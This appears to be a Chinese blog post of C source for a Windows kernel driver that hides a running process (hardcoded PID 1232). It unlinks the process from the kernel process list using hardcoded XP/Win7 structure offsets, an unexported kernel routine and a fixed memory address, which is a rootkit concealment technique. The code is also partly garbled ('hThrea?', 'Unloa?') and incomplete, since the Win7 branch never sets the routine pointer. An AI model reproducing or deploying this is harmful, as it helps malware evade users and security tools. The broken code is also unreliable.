本文共计2113个字,预计阅读时长7.9分钟。
#include <Ntifs.h>
// 未导出函数
// 用于增加或删除驱动链表中的某一元素
typedef VOID(*pMiProcessLoaderEntry)(
IN PVOID DataTableEntry,
IN LOGICAL Insert
);
pMiProcessLoaderEntry MiProcessLoaderEntry;
// 获取(ActiveProcessLinks)进程链表的相对(EPROCESS)偏移
ULONG GetProcessOffset()
{
if (SharedUserData->NtMajorVersion == 5) // 如果位 Windows Xp
{
return 0x88;
}
else if ((SharedUserData->NtMajorVersion == 6) &&
(SharedUserData->NtMinorVersion == 1)) // 如果为Windows7
{
if (sizeof(PVOID) == 4) // 如果为 32 位Windows7
{
return 0x0b8;
}
else // 如果为 64 位Windows7
{
return 0x188;
}
}
return 0;
}
// 隐藏进程
VOID HideProcess(HANDLE hProcessId)
{
PEPROCESS Process;
ULONG offset;
NTSTATUS status = PsLookupProcessByProcessId(hProcessId, &Process);
if (!NT_SUCCESS(status))
{
DbgPrint("查找进程失败\n");
return;
}
offset = GetProcessOffset();
if (offset == 0) { DbgPrint("offset == 0\n"); return; }
if (MiProcessLoaderEntry != NULL)
{
// 将进程从进程链表中剔除, 达到隐藏进程的效果
MiProcessLoaderEntry((PCHAR)Process + offset/*LDR_DATA_TABLE_ENTRY驱动结构体*/,
FALSE/*FALSE为从驱动链表中删除,TRUE为插入*/);
DbgPrint("隐藏进程成功\n");
}
else
{
DbgPrint("隐藏进程失败\n");
}
}
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("卸载驱动\n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegeditPath)
{
DbgPrint("加载驱动\n");
NTSTATUS status = STATUS_SUCCESS;
HANDLE hThrea?
DriverObject->DriverUnload = Unloa?
if (SharedUserData->NtMajorVersion == 5) // 为XP系统的话
{
MiProcessLoaderEntry = (pMiProcessLoaderEntry)0x8050eb06;
}
else
{
#ifdef _X86_ // 如果为 32 位的Win7
#else // 如果为 64 位的Win7
#endif
}
HideProcess((HANDLE)1232);
return status;
}
进程隐藏(防蓝屏版)